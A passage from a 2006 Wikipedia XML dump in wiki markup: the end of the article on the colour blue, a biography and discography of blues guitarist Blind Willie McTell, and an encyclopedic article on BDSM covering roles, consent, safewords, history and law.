|[[Christian democracy]]/[[Conservatism]]
|Blue 
|-
!
|[[List of political parties in Paraguay|Paraguay]]
|[[Authentic Radical Liberal Party]]
|[[Liberalism]]
|Blue 
|-
|-
![[Image:PNP.logo.gif|40px]]
|[[List of political parties in Puerto Rico|Puerto Rico]]
|[[New Progressive Party of Puerto Rico|New Progressive Party]]
|[[Puerto Rican statehood]]
|Blue 
|-
![[Image:Moderate Party.png|40px]]
|[[List of political parties in Sweden|Sweden]]
|[[Moderate Party]]
|[[Liberal conservatism]]
|Blue 
|-
![[Image:White sun, blue sky.gif|40px]]
|[[List of political parties in the Republic of China|Republic of China (Taiwan)]]
|[[Kuomintang]]
|[[Conservatism]]/[[Chinese reunification]]
|Blue 
|-
![[Image:New-conservative-logo.png|40px]]
|[[Politics of the United Kingdom|United Kingdom]]
|[[Conservative Party (UK)|Conservative Party]]
|[[Conservatism]]
|Blue 
|}

In the [[Politics of the United States|United States]], since the [[U.S. presidential election, 2000|2000 presidential election]], blue represents the [[Left-wing politics|left-wing]] [[United States Democratic Party|Democratic Party]], and &quot;[[blue states]]&quot; are states that tend to favor the Democrats. (The rival [[Right-wing politics|right-wing]] [[United States Republican Party|Republicans]] became associated with [[red]], and states that favor the Republicans are &quot;[[red state]]s.&quot;  Prior to 2000, electoral maps either used blue to represent the incumbent and red for the challenger, or alternated. Each party uses all three national colors (red, white, and blue) in official materials. The [[Blue Dog Democrats|Blue Dog Democrat]] coalition is a [[caucus]] of moderate Democrats in [[Congress of the United States|Congress]].

==Religion==
Blue plays a symbolic role in a number of world religions. In the [[Hindu]] faith, persons of a [[transcendental]], or [[divine]] nature are displayed as being blue in colour. The deity [[Krishna]] is probably the most famous of this type of depiction within Hindu art.

==Television==
Blue is the color and name of the main character (a dog) in the preschool animated educational television show [[Blue's Clues]].

On ''[[Star Trek]]'', medical and scientific personnel wear blue uniforms.

On ''[[Foster's Home For Imaginary Friends]],'' there is a character named Blooregard Q. Kazoo, more commonly named Bloo, and pronounced blue.  He is a blue bloblike imaginary friend.

==Music==
'''[[Blues]]''' is a [[music genre]]. A '''[[blue note]]''' is a note between the regular notes on the scale.  Blue notes are the most important notes in the [[blues scale]].

Bands called &quot;Blue&quot; include two British musical groups: the rock group '''[[Blue (rock band)|Blue]]''' and the [[boy band]] [[Blue (boy band)|Blue]]. '''''[[Blue (Joni Mitchell album)|Blue]]''''' is the title of an album by the Canadian singer-songwriter [[Joni Mitchell]], and '''''[[Kind of Blue]]''''' is the title of an album by [[Miles Davis]], one of the world's best-selling [[jazz]] recordings. [[Blue Man Group]] is a [[performance art]] group founded in [[New York City]] in [[1987]].

'''''[[Blue Train (album)|Blue Train]]''''' is an influential jazz album by [[John Coltrane]]. '''''[[Rhapsody in Blue]]''''' is a symphonic jazz composition for jazz band, piano, and orchestra by [[George Gershwin]], while '''''[[Love is Blue]]''''' is a popular tune from the [[1960s]] by [[Andy Williams]], most notably performed by [[Paul Mauriat]].

&quot;Blue&quot; has been used as a song title by many artists, notably [[LeAnn Rimes]] and [[Eiffel 65]]. [[Cristian Castro]]'s song &quot;Azul&quot; ([[Spanish language|Spanish]] for &quot;blue&quot;) repeats the line &quot;This love is blue as the sea&quot; (''Este amor es azul como el mar'').

Other songs which use the word blue include:
*&quot;We the People Who Are Darker than Blue&quot; by [[Curtis Mayfield]], appearing on [[Curtis (album)|his debut album]]
*&quot;Blue Room in Archway&quot; and &quot;Song from the Blueroom&quot; by [[The Boo Radleys]], both appearing on the album ''[[Kingsize]]''
*&quot;[[For You Blue]]&quot; by [[The Beatles]], appearing on the album ''[[Let It Be (album)|Let It Be]]''
*&quot;Behind Blue Eyes&quot; by [[The Who]], appearing on the album ''[[Who's Next]]''
*&quot;Blue&quot; by [[Yoko Kanno]], featured in hit Japanese [[anime]] [[Cowboy Bebop]]
*&quot;Blue Savannah&quot; by [[Erasure]], appearing on the album ''[[Wild!]]''
*&quot;Dark Blue&quot; by [[No Doubt]], the last track on their album &quot;[[Return of Saturn]]&quot;
*&quot;[[Tangled Up In Blue]]&quot; by [[Bob Dylan]], the first track on the album ''[[Blood on the Tracks]]
*&quot;Miss Blue&quot; by [[Filter (band)|Filter]], Appearing as the last listed track on the album [[Title of Record]]

==Film==
[[Blue (1993 film)]] entirely consists of the colour blue with narration and soundbytes.

==Use in painting==
Traditionally, blue has been considered a primary color in painting, with the secondary color [[orange (color)|orange]] as its complement, but this is not consistent with modern scientific color theory.  As the mixing of pigments is a [[subtractive color|subtractive color]] process, the true primary colors in painting and printing are [[cyan]], [[magenta]] and [[yellow]] (with black often added for practical reasons; see [[CMYK color model|CMYK color model]]).

==Variations==

* [[Alice-Blue (color)|Alice-Blue]]
* [[Aquamarine (color)|Aquamarine]]
* [[Azure (color)|Azure]]
* [[Cornflower blue]]
* [[Indigo]]
* [[Midnight blue]]
* [[Powder blue]]
* [[Royal blue]]
* [[Sapphire]]
* [[Sky blue]]
* [[Turquoise (color)|Turquoise]]

==Blue pigments==
* [[Azurite]]
* [[Cerulean blue]]
* [[Cobalt blue]]
* [[Phthalocyanine]] blue
* [[Prussian blue]]
* [[Ultramarine]]

==See also==
*[[Distinguishing &quot;blue&quot; from &quot;green&quot; in language]]
*[[List of colors|List of colors]]
* [[Lapis lazuli]]

==External links==
{{wiktionarypar|blue}}
*[http://www.lsbu.ac.uk/water/vibrat.html#blue Is water blue? The absorption spectrum of water in the visible range]

{{EMSpectrum}}
{{web colors}}

[[Category:Optical spectrum]]
[[Category:Shades of blue| ]]

[[af:Blou (kleur)]]
[[ca:Blau]]
[[cs:Modrá]]
[[da:Blå]]
[[de:Blau]]
[[el:Μπλε]]
[[es:Azul]]
[[eo:Blua]]
[[fr:Bleu]]
[[gl:Azul]]
[[id:Biru]]
[[is:Blár]]
[[it:Blu]]
[[he:כחול]]
[[lt:Mėlyna]]
[[lb:Blo]]
[[ln:Bulé]]
[[hu:Kék]]
[[ms:Biru]]
[[nl:Blauw]]
[[nds:Blau]]
[[ja:青]]
[[no:Blå]]
[[nn:Blå]]
[[pl:Barwa niebieska]]
[[pt:Azul]]
[[ru:Синий цвет]]
[[simple:Blue]]
[[sk:Modrá]]
[[sl:Modra]]
[[sr:Плава боја]]
[[fi:Sininen]]
[[sv:Blå]]
[[vi:Xanh lam]]
[[tr:Mavi]]
[[zh:藍色]]</text>
    </revision>
  </page>
  <page>
    <title>Blind Willie McTell</title>
    <id>4544</id>
    <revision>
      <id>41124824</id>
      <timestamp>2006-02-25T05:10:25Z</timestamp>
      <contributor>
        <username>OrphanBot</username>
        <id>621721</id>
      </contributor>
      <comment>Removing image with no source information.  Such images that are older than seven days may be deleted at any time.</comment>
      <text xml:space="preserve">&lt;!-- Unsourced image removed: [[Image:mctell.jpg|right|thumb|300px|Blind Willie McTell]] --&gt;'''Blind Willie McTell''' ([[May 5]], [[1901]]&amp;ndash;[[August 15]], [[1959]]) (probably born '''William Samuel McTear''') was an influential [[blues]] singer and [[guitar]]ist.  He was born in [[Thomson, Georgia|Thomson]], [[Georgia (U.S. state)|Georgia]] and died in [[Milledgeville, Georgia]].

McTell was a [[12 string guitar|twelve-string]] [[fingerstyle|finger picking]] guitarist and singer who recorded from [[1927]] to [[1955]]. One of his most famous songs, &quot;[[Statesboro Blues]]&quot; has been covered by many artists including [[Taj Mahal (musician)|Taj Mahal]] and [[The Allman Brothers Band]]. In [[1983]], [[Bob Dylan]] recorded a [[Blind Willie McTell (song)|tribute song]] for McTell, using the folk melody of &quot;[[St. James Infirmary Blues]],&quot; although the track went unreleased until [[1991]].  In [[1993]], Dylan paid further tribute to McTell by recording McTell's song &quot;Broke Down Engine.&quot;

[[blindness|Blind]] from late childhood and an adept reader of [[Braille]], McTell showed an inherent proficiency in music from an early age and learned to play the six-string guitar as soon as he could. His father left the family when McTell was still young, so when his mother died in the [[1920s]], he left his hometown and became a wandering [[busker]]. He began his recording career in 1927 for [[Victor Records]] of [[Atlanta, Georgia|Atlanta]].  

In the years before [[World War II]], he recorded prodigiously, for a wide variety of labels under an equal variety of names, but his style was singular: a form of country blues, bridging the gap between the raw blues of the [[Mississippi Delta]] and the more refined East Coast sound.  The style is well documented on [[Alan Lomax]]'s [[1940]] recordings of McTell for the [[Library of Congress]].  Post-war, he recorded briefly for [[Atlantic Records]], but the recordings met with less commercial success than his previous works. He continued performing some live shows in his hometown of Atlanta, but his continued career was cut short by ill health, predominantly [[diabetes]]. In 1959, a year after the death of his wife of 24 years, he died of a stroke.

A blues festival in McTell's honor is held annually in his birthplace, Thomson, Georgia.

== Partial sessionography ==

* October 18, 1927 - Atlanta, Georgia
** &quot;Writing Paper Blues&quot;
** &quot;Stole Rider Blues&quot;
** &quot;Mama, Tain't Long Fo' Day&quot;
** &quot;Mr. McTell Got The Blues&quot; (Take 1)
** &quot;Mr. McTell Got The Blues&quot; (Take 2)

* October 18, 1927 - Atlanta, Georgia
** &quot;Three Women Blues&quot;
** &quot;Dark Night Blues&quot;
** &quot;Statesboro Blues&quot;
** &quot;Loving Talking Blues&quot;

* October 30, 1929 - Atlanta, Georgia
** &quot;Atlanta Strut&quot;
** &quot;Travelin' Blues&quot;
** &quot;Come On Around To My House Mama&quot;
** &quot;Kind Mama&quot;

* November 25, 1929 - Atlanta, Georgia
** &quot;Teasing Brown&quot;

* November 26, 1929 - Atlanta, Georgia
**Drive Away Blues&quot;

* November 27, 1929 - Atlanta, Georgia
** &quot;This Is Not The Stove To Brown Your Bread&quot;

== Discography ==

*''The Definitive Blind Willie McTell 1927&amp;ndash;1935'' on Catfish Records (KATCD229) - Presents the complete recordings (including pseudonymous works) from the period 1927&amp;ndash;1935.

*''The Definitive Blind Willie McTell'' on [[Columbia Records]] (C2K-53234) includes several previously unissued takes and has extensive liner notes by David Evans.  It does, however, omit &quot;Statesboro Blues,&quot; probably McTell's most definitive song.

*''The Classic Years 1927&amp;ndash;1940'' on JSP Records (JSP7711) omits some recordings found on the previous set but adds his 1940 session for the Library of Congress.

*''Complete Recorded Works in Chronological Order, Vol. 1'' - Document Records (Austria) DOCD-5006.
*''Complete Recorded Works in Chronological Order, Vol. 2'' - Document Records (Austria) DOCD-5007.
*''Complete Recorded Works in Chronological Order, Vol. 3'' - Document Records (Austria) DOCD-5008.
*These three discs, covering 1927-1933, were also issued in a box set as ''Statesboro Blues'' (DOCD-5677)

*''1940: Complete Library of Congress Recordings'' - RST Records (Austria) BDCD-6001.

*''Blind Willie McTell &amp; Curley Weaver: The Post-War Years 1949-1950'' - RST Records (Austria) BDCD-6014.

[[Category:1901 births|Mactell, Blind Willie]]
[[Category:1959 deaths|Mactell, Blind Willie]]
[[Category:Blind musicians|MacTell, Blind]]
[[Category:Blues musicians|Mactell, Blind Willie]]
[[Category:Blues singers|Mactell, Blind Willie]]
[[Category:Blues guitarists|Mactell, Blind Willie]]
[[Category:Atlantans|Mactell, Blind Willie]]
[[Category:Diabetics|MacTell, Blind Willie]]

[[de:Blind Willie McTell]]</text>
    </revision>
  </page>
  <page>
    <title>BDSM</title>
    <id>4545</id>
    <revision>
      <id>42016204</id>
      <timestamp>2006-03-03T06:02:38Z</timestamp>
      <contributor>
        <ip>24.5.96.130</ip>
      </contributor>
      <comment>/* Support groups */</comment>
      <text xml:space="preserve">[[Image:BDSM collar back.jpg|thumb|right|300px|A [[collar (BDSM)|collar]] is a common symbol of BDSM.]]
'''BDSM''' is a term which describes a number of related patterns of [[human sexual behavior|human sexual behaviour]]. The major subgroupings are described in the abbreviation &quot;BDSM&quot; itself:
*[[Bondage (BDSM)|Bondage]] ('''B''')
*[[Bondage (BDSM)|Bondage]] &amp; [[discipline (BDSM)|Discipline]] ('''B&amp;D''')
*[[Domination and submission (BDSM)|Domination &amp; Submission]] ('''D&amp;S, DS, D/S, D/s''') 
*[[Sadism and masochism|Sadism &amp; Masochism]] (or Sadomasochism) ('''S&amp;M, SM''')

Many of the specific practices in BDSM are those which, if performed in neutral or nonsexual contexts, are widely considered unpleasant, undesirable, or disadvantageous. For example, [[pain]], [[physical restraint]] and [[Servitude (BDSM)|servitude]] are traditionally inflicted on persons against their will and to their detriment. In BDSM, however, these activities are engaged in with the mutual [[Consent (BDSM)|consent]] of the participants, and typically for mutual enjoyment. (Any &quot;consent&quot; may or may not amount to [[consent (criminal)|legal consent]] and represent a defence to criminal liability for any injuries caused.)

This emphasis on [[informed consent]] and safety is also known as SSC ([[safe, sane and consensual]]), though others prefer the term RACK ([[Risk Aware Consensual Kink]]), believing that it places more emphasis on acknowledging the fact that all activities are potentially risky.

== Psychological ==

=== Psychiatric view ===
{{main|Sadism and masochism as medical terms}}
In the past, sadomasochistic activities and fantasies were regarded by most [[psychiatrist]]s as pathological, but have been regarded as increasingly acceptable since at least the [[1990s]]. Indeed, the [[DSM-IV]] asserts that &quot;The fantasies, sexual urges, or behaviors&quot; must &quot;cause clinically significant distress or impairment in social, occupational, or other important areas of functioning&quot; in order for sexual sadism or masochism to be considered a disorder. Psychiatrists are now moving towards regarding sadism and masochism not as disorders in and of themselves, but only as disorders when associated with other problems such as a personality disorder. People who practice BDSM, as well as most psychiatrists, do not view these practices as disordered.

=== Power exchange ===

On a psychological level, much BDSM play involves [[power (sociology)|power]] and dominance, in particular [[power exchange (BDSM)|power exchange]] of various forms. One person may willingly and consciously hand over personal autonomy or the power dynamic may arise between the parties in the relationship as a spontaneous result of their interpersonal chemistry, in which case no conscious decision is made. This power can manifest in an endless variety of relationship dynamics. Some of the variations include:

* Addressing another person as &quot;[[Master (BDSM)|Master]]&quot; or &quot;[[Dominatrix|Mistress]]&quot;.
* An agreement of service that covers the duties and responsibilities of the submissive that may or may not include a long-term commitment. Some service relationships are understood to last only as long as the submissive maintains performance standards.
* Formal [[collar (BDSM)|collar]]ing with a lifelong agreement between the parties for the dominant to provide an ongoing presence in the submissive's life. (See [[Total Power Exchange]].)  Collared slaves have responsibilities and servitude duties that vary from the moderate to extreme micro-management.

According to most practitioners, the power exchange should always be negotiated. Before play, the participants discuss their physical and psychological limitations, establish [[safeword]]s (words that will signal the cessation of the scene), and work out what activities they will engage in. 

However, many reject extensive negotiation and eschew the use of safewords, preferring instead to accept heightened risk and facilitate a more &quot;natural&quot; interaction. The conflict between the need for risk and the need for limitations and safety is at the heart of the [[Safe, sane and consensual|SSC]] and [[Risk-aware consensual kink|RACK]] debates.

== Roles ==

=== Dominant behavior ===

A '''[[dominant (BDSM)|dominant]]''' person enjoys controlling a submissive person. Reasons for this are said to include demonstrating skill and power, having ownership of another person, and being the object of affection and devotion. Domination may be the fashion in which the dominant feels most comfortable expressing and/or receiving affection. [[Service-oriented]] dominants would add that it is obviously useful to have the resources and abilities of another human at their disposal.

Of course, other known possible motives remain to be considered, including pleasure taken not only in sheer power, but in the suffering of others, thrill seeking in risk taking, and outright self destructiveness. That is why many in the BDSM community are concerned with establishing the motivations of those involved in an encounter and advise caution in making BDSM connections.

=== Submissive behavior ===

A '''[[submissive (BDSM)|submissive]]''' person is one who submits of their own free will and seeks to submit to another. Submissives vary in how seriously they take their position, training, and situation. Motivations for engaging in submissive behavior may include relief from responsibility, being the object of attention and affection, gaining a sense of security, showing off endurance, and working through issues of shame. Others simply enjoy a &quot;natural&quot; feeling when they are in the presence of their partner. What are known as [[service-oriented]] submissives may also have a deep seated desire to be &quot;of use&quot;. Submissives also vary in the extent to which they engage in play, in how often they play, and even in whether they consider their role &quot;play&quot; at all.

=== Tops and bottoms ===

In BDSM, a '''[[top (BDSM)|top]]''' is a partner who takes the role of giver in such acts as bondage, flogging, humiliation, or servitude. The top performs acts such as these upon the '''[[bottom (BDSM)|bottom]]''', who is the person receiving for the duration of a scene. Although it is easy to assume that a top is dominant and a bottom is submissive, it is not necessarily so.

The top is sometimes the partner who is following instructions, i.e., he tops when, and in the manner, requested by the bottom. A person who applies sensation or control to a bottom, but does so to the bottom's explicit instruction is a ''service top''. Contrast the service top with the ''pure dominant'', who might give orders to a submissive, or otherwise employ physical or psychological techniques of control, but might instruct the submissive to perform the act on him or her.

The same goes for bottoms and submissives. At one end of the continuum is a submissive who enjoys taking orders from a dominant but does not receive any physical stimulation. At the other is a bottom who enjoys the intense physical and psychological stimulation but does not submit to the person delivering them. It should be noted that the bottom is most often the partner who is giving instructions&amp;mdash;the top typically tops when, and in the manner, requested by the bottom. However, there is a purist school of BDSM, for whom such &quot;[[topping from the bottom]]&quot; is incompatible with the retention of high ethical standards in the relationships wherein BDSM is practiced.

Within a sadomasochisic context, submissive is often considered synonymous with bottom. Others opine that a &quot;submissive&quot; is specifically pursuing a dominant/submissive power-exchange as a key element, whereas a &quot;bottom&quot; may or may not be interested (or even willing) to engage in that exchange. For the latter, some have proposed the &quot;pitcher&quot; and &quot;catcher&quot; (borrowed from [[baseball]] terminology) as more neutral terminology, with the &quot;pitcher&quot; delivering the sensation, the instruction, etc; and the &quot;catcher&quot; receiving what is &quot;pitched.&quot;

=== Switching ===

Some practitioners of BDSM enjoy '''[[switching (BDSM)|switching]]'''&amp;mdash;that is, playing both dominant and submissive roles, either during a single scene or taking on different roles at different occasions with different partners. A [[switch (BDSM)|switch]] will be the [[top (BDSM)|top]] on some occasions and the bottom on other occasions. A &quot;switch&quot; may be in a relationship with someone of the same primary orientation (two dominants, say), so switching provides each partner with an opportunity to realize his or her unsatisfied BDSM needs with others.  Some individuals may switch, but may not identify as a switch because they do so infrequently or only under certain circumstances.

== Safety ==

Some BDSM activities may be potentially dangerous if appropriate precautions are neglected.  In particular, it is sometimes the practice that the submissive will complain of suffering or beg the dominant to stop, and that this will be ignored by the dominant.  Therefore, one aspect to ensure safety is to agree upon a [[safeword]]. If the dominant and submissive are in a scene that causes unacceptable discomfort for one or both of them, a ''safeword'' can be uttered to warn the other of trouble and immediately call for a stop to the scene.

Many BDSM relationships involve a ''simulation'' of rape or other non-consensual acts. A dominant and a submissive may choose to pretend that the submissive is being raped or otherwise forced to do something unwillingly. Therefore, words like &quot;No!&quot; or &quot;Stop!&quot; are inappropriate as safewords, because a submissive playing the ''role'' of a victim would say these words as part of the scenario. The ideal safeword is a word or brief phrase (such as &quot;scrambled eggs&quot;) that normally would ''not'' be spoken during a sadomasochistic act, and which therefore calls attention to itself by its own incongruity.  In scenes where the submissive is to refer to the dominant by a title or fictional name, the dominant's real name can serve as an effective safeword.

Some people in BDSM use multiple levels of safewords. For example, the safeword &quot;yellow&quot; would be employed to indicate &quot;You are approaching an intensity (or an activity) that I don't wish to experience; please take this scene in a different direction, or lower the intensity&quot; while the safeword &quot;red&quot; would mean &quot;Please stop this and release me, right now.&quot;

In situations where the submissive's mouth is gagged, or the submissive is otherwise incapable of speaking without violating the fetish scenario, a non-verbal signal is used instead of a safeword. Typically this might be dropping a bell or ball, or uttering three high-pitched squeaks in quick succession.

In theory, a dominant is capable of ignoring a safeword. In the actual BDSM lifestyle, a dominant who acquires a reputation for ignoring safewords will experience increasing difficulty finding fetish partners.

Adequate care is prudent in [[bondage (BDSM)|bondage]] to ensure safety from injury. It is wise to invest in first aid training for all involved parties. For activities involving bodily fluids, hygienic precautions should be duly considered for avoiding the spread of [[sexually transmitted diseases]].

== Various practices ==

BDSM may encompass practices such as [[erotic spanking]], [[flagellation]], such as flogging, paddling or whipping, or [[medical fetishism|medical submission]] (i.e. a submissive partner submits to humiliating and/or painful medical procedures).

BDSM activities are practiced by people of all sexualities. Many practice their BDSM activities exclusively in private, and do not share their predilections with others. Others socialize with other BDSM practitioners. The BDSM community can be regarded as a [[subculture]] within mainstream society. Being involved in BDSM or dominant/submissive relationships on a regular basis is often referred to as being &quot;in the lifestyle&quot;.

Some sources estimate the prevalence of BDSM behavior in countries such as the United States at around 5 to 10% of the adult population.{{fact}} While the stereotype of heterosexual BDSM is a male dominant and female submissive, the reality is almost evenly split between &quot;[[maledom]]&quot; and &quot;[[femdom]]&quot; couples.

== Physiological ==

On a physical level, BDSM &quot;[[sensation play (BDSM)|sensation play]]&quot; often involves inflicting pain, even if without actual injury. This releases [[endorphin|endorphins]], creating a sensation somewhat like runner's high or the afterglow of orgasm, sometimes called &quot;sub space&quot;, which some find enjoyable. Some writers use the term &quot;body stress&quot;. This experience is the motivation for many in the BDSM community but is not the only motivating factor. Indeed, a strong minority of BDSM participants (especially &quot;submissives&quot;) may well participate in a [[scene (BDSM)|scene]] they do not derive any physical pleasure from in order to provide their &quot;Dominant/Master&quot; with an opportunity to indulge their desires or fetishes.

In some kinds of BDSM play, the &quot;top&quot; (usually a dominant partner) applies sensation to the &quot;bottom&quot; (usually a submissive partner) by spanking, slapping, pinching, stroking or scratching with fingernails, or using implements like straps, whips, paddles, canes, knives, hot wax, ice, clothespins, bamboo skewers, etc. The sensation of being bound with rope, chains, straps, cling wrap, handcuffs or other materials can also be part of the experience. The tools of BDSM play encompass a wide variety of items from specifically designed implements to ordinary household items, known as &quot;[[pervertible]]s.&quot;

A pleasurable BDSM experience is thought to depend greatly upon a competent top and the bottom attaining the correct state of mind. Trust and sexual arousal help a person prepare for the intense sensation. Some have even gone so far as to compare adept BDSM play to musical composition and performance, each sensation like a musical note. Likewise, different sensations are combined in different ways to produce the total experience.

== Other points ==

* BDSM may or may not involve [[human sexual behavior|sex]] of any kind. 
* BDSM may or may not involve [[sexual roleplaying]]. 
* How dominant or submissive a person may be in their regular life does not always determine their preferred role in BDSM play though many people do manifest these tendencies. Often people who express one role in their regular life, such as at work, strongly desire to express the opposite role within their sexual life, as a kind of release.
*BDSM play often includes the psychological pleasure of [[sexual fetishism|fetish]]es.
*Some BDSM players are [[polyamory|polyamorous]] or are sexually [[monogamous]] but engage in non-sexual play with others.
*A couple may engage in BDSM sexuality within an otherwise non-D/S relationship dynamic.
*When there is [[abuse]] in the relationship, the dominant is not necessarily the abusive partner.

== Terminology ==

See [[List of BDSM terms]]

== Etymology ==
The term &quot;S&amp;M&quot; was originally derived from the clinical terms [[sadism]] and [[masochism]]. The leather community of the day attempted to distance themselves from what was then classified as a mental illness and began to use the term &quot;B&amp;D&quot; (Bondage &amp; Discipline). This term was later linked back to &quot;S&amp;M&quot; by the clinical community giving birth to the now common acronym BDSM. This term was then later broadened by some to include Dominance &amp; submission. Although, D/s is more properly cultural dynamic than sexual practice, its common co-occurrence with BDSM has resulted in it being commonly viewed as linked behavior pattern.

== History ==

The historical origins of BDSM are obscure. There are anecdotal reports of people willingly being bound or whipped as a prelude to, or substitute for, sex going back to the fourteenth century. The medieval phenomenon of [[courtly love]] in all of its slavish devotion and ambivalence has been suggested by some writers to be a precursor of BDSM. Some sources claim that BDSM as a distinct form of sexual behaviour originated at the beginning of the [[eighteenth century]] when Western civilization began medically and legally categorizing sexual behaviour. There are reports of brothels specializing in flagellation as early as 1769, and John Cleland's novel ''[[Fanny Hill]]'', published in 1749, mentions a flagellation scene. Other sources give a broader definition citing BDSM-like behaviour in earlier times and other cultures, such as the medieval flagellants and the physical [[ordeal ritual]]s of some [[Indigenous peoples of the Americas|Native American]] societies. 

Although the names of the [[Marquis de Sade]] and [[Leopold von Sacher-Masoch]] are attached to the terms [[sadism]] and [[masochism]] respectively, the question remains as to whether their ways of life would meet with modern BDSM standards of informed consent. 

BDSM ideas and imagery have existed on the fringes of Western culture throughout the [[twentieth century]]. [[Robert Bienvenu]] attributes the origins of modern BDSM to three sources, which he names as &quot;European Fetish&quot; (from 1928), &quot;American Fetish&quot; (from 1934), and &quot;Gay Leather&quot; (from 1950). Another source is the [[sexual game]]s played in [[brothel]]s, which go back into the nineteenth century if not earlier.  [[Irving Klaw]], during the 1950s and 1960s, produced some of the first commercial film and photography with a BDSM theme and published comics by the now-iconic bondage artists [[John Willie]] and [[Eric Stanton]].

[[Image:Leather, Latex, and BDSM pride.png|thumb|300px|The [[Leather Pride flag]], which has become a symbol of the BDSM and fetish subculture.]]
Much of the BDSM ethos can be traced back to gay male [[leather subculture|leather culture]], which grew out of post-WWII biker culture. This subculture is epitomized by the ''Leatherman's Handbook'' by Larry Townsend, published in [[1972]], which essentially defined the &quot;[[Old Guard leather]]&quot; culture. This code emphasized strict formality and fixed roles (i.e. no switching), and did not really include [[lesbian]] women or heterosexuals. In [[1981]], however, the publication of ''[[Coming to Power]]'' by [[Samois]] led to a greater knowledge and acceptance of BDSM in the lesbian community.

In the mid-nineties, the [[Internet]] provided a way of finding people with specialized interests around the world and communicating with them anonymously. This brought about an explosion of interest and knowledge of BDSM, particularly on the [[usenet]] group [[alt.sex.bondage]]. When that group became too cluttered with [[spamming|spam]], the focus moved to [http://groups.google.com/groups?q=soc.subculture.bondage-bdsm&amp;ie=UTF-8&amp;hl=en&amp;btnG=Google+Search soc.subculture.bondage-bdsm].

[[New Guard leather|New Guard]] [[leather subculture]] appeared around this time, which rejected the rigid roles and exclusion of women and heterosexuals of the Old Guard. 

In addition to the [[bricks and mortar business]]es which sell sex paraphernalia, there has also been an explosive growth of online [[adult toy]] companies which specialize in leather/latex gear and BDSM toys.  The first known online store specializing in bondage gear was [[JT's Stockroom]], which became a primarily-online business as early as 1990.  Once a very niche market, there are now very few [[sex toy]] companies that do not offer some sort of BDSM or [[fetish]] gear in their catalog.  Kinky elements seem to have worked their way into even the most &quot;[[Vanilla_sex|vanilla]]&quot; markets.

BDSM and fetish imagery has spread out into the mainstream of Western culture through [[avant-garde]] [[fashion]], the [[goth|gothic subculture]], [[rapping|rap]], [[Hip hop music|hip hop]] and [[heavy metal music|heavy metal]] [[Music video|video clips]], and [[science fiction]] [[television]] and [[film|movies]].

The modern BDSM subculture is widespread. Most major cities in North America and western Europe have clubs and [[play party (BDSM)|play parties]], as well as informal, low-pressure gatherings called [[munch (BDSM)|munches]]. There are also conventions like [[Living in Leather]], [[TESfest]] and [[Black Rose (BDSM organization)|Black Rose]], as well as the annual [[Folsom Street Fair]] in San Francisco.

The [[Leather Pride Flag]] is a symbol used by the leather community or subculture, as well as the BDSM [[triskelion]].

== International ==

The legal situation of sadomasochistic activities varies greatly between countries. In [[Japan]], [[Germany]], the [[Netherlands]] and the [[Scandinavia|Scandinavian]] countries, consensual BDSM is legal. 

In the UK, BDSM activities which cause injuries which are more than 'transient or trifling' may be illegal. But the few cases since the original R v Brown 1990 ruling have been contradictory in their judgments.

In other countries it is an example of a [[consensual crime]].

At least in the western, industrialized countries and Japan, since the [[1980s]] sadomasochists have begun to form information exchange and support groups to counter the discriminatory image held by orthodox science and parts of the public. This has happened independently in the [[United States|USA]] and in several European countries.
With the advent of the web, international cooperation has started to develop - for example [[Datenschlag]] is a joint effort of sadomasochists in the three major [[German-speaking]] countries, and the mailing list [[Schlagworte]] uses the model of a [[news agency]] to connect six countries.

== See also ==
* [[Wipipedia]]
* [[Fetish club]]
* [[List of BDSM terms]]
* [[List of BDSM topics]]
* [[List of BDSM organizations]]
* [[Human sexuality]]
* [[Sexual Fetishism]]
* [[Erotic spanking]]
* [[Vanilla sex]]
* [[Body modification]]
* [[Impact play]]
* [[Swinging]]
* [[Bondage (BDSM)]]
* [[Courtly love]]
* [[Domination &amp; submission (BDSM)]]
* [[Dungeon (BDSM)]]
* [[Humiliation (BDSM)]]
* [[Servitude (BDSM)]]
* [[Munch (BDSM)]]
* [[Kink Aware Professionals]]
* [[National Coalition for Sexual Freedom]]
* [[Slave fiction]]
* [[Anal torture]]
* [[Fire play]]
* [[Wax play]]
* [[Bondage corset]]
* [[Operation Spanner]]
* [[Midori (author)]] and Fire Horse Productions (BDSM lectures)
* [[Jack McGeorge]]

=== Lists of BDSM authors, artists and photographers ===
* [[List of BDSM authors]]
* [[List of BDSM artists]]
* [[List of BDSM photographers]]

=== Publishers (fiction and non-fiction) ===
* [[Daedalus Publishing]]
* [[Greenery Press]]
* [[Mental Gears Publishing]]

=== Support groups ===
* [[Society of Janus]], pansexual, [[San Francisco, California|San Francisco]]
* [[The Eulenspiegel Society]](TES), [[New York City]]
* [[Black Rose (BDSM organization)|Black Rose]], [[Washington, DC]]
* [[BESS]], [Baltimore, MD] 
* [http://bondage.com bondage.com] online community
* [[Alt.com]] Online Group

== Documentaries ==

* ''[[SICK: The Life &amp; Death of Bob Flanagan, Supermasochist]]'', a documentary about the life of [[Bob Flanagan]]
* ''[[Fetishes (documentary)|Fetishes]]'' by [[Nick Broomfield]]

== References and further reading ==
* [[Guy Baldwin]], &quot;Ties That Bind: SM/Leather/Fetish Erotic Style- Issues, Communication, and Advice&quot; [[Daedalus Publishing]], 1993. ISBN 1-881943-09-7.
* [[Pat Califia]]. ''Sensuous Magic.'' New York, Masquerade Books, 1993. ISBN 1-56333-131-4
* [[Gloria G. Brame]], William D. Brame, and Jon Jacobs. ''Different Loving: An Exploration of the World of Sexual Dominance and Submission'' Villard Books, New York, 1993. ISBN 0-679-40873-8
* Anita Phillips, ''A Defence of Masochism'', Faber 1999.
* [[Jay Wiseman]], ''SM 101: A Realistic Introduction'', [[Greenery Press]], 2000. ISBN 0963976389.
* Philip Miller, Molly Devon, ''Screw the Roses, Send Me the Thorns: The Romance and Sexual Sorcery of Sadomasochism'', Mystic Rose Books, 1995. ISBN 0964596008.
* [[Gloria G. Brame]], ''Come Hither : A Commonsense Guide To Kinky Sex'', Fireside, 2000. ISBN 0684854627.
* [[William A. Henkin]], Sybil Holiday, ''Consensual Sadomasochism : How to Talk About It and How to Do It Safely'', [[Daedalus Publishing]], 1996. ISBN 1881943127.
* [[Jack Rinella]], &quot;The Compleat Slave: Creating and Living an Erotic Dominant/submissive Lifestyle&quot;, [[Daedalus Publishing]], 2002. ISBN 1-881943-13-5.
* [[Mark Thompson (author)|Mark Thompson]], &quot;Leatherfolk: Radical sex, people, politics, and practice&quot;, [[Daedalus Publishing]] 1991. ISBN 1-881943-20-8

== External links ==
*[http://www.wipipedia.org ''Wipipedia'', the free Fetish and BDSM encyclopedia]
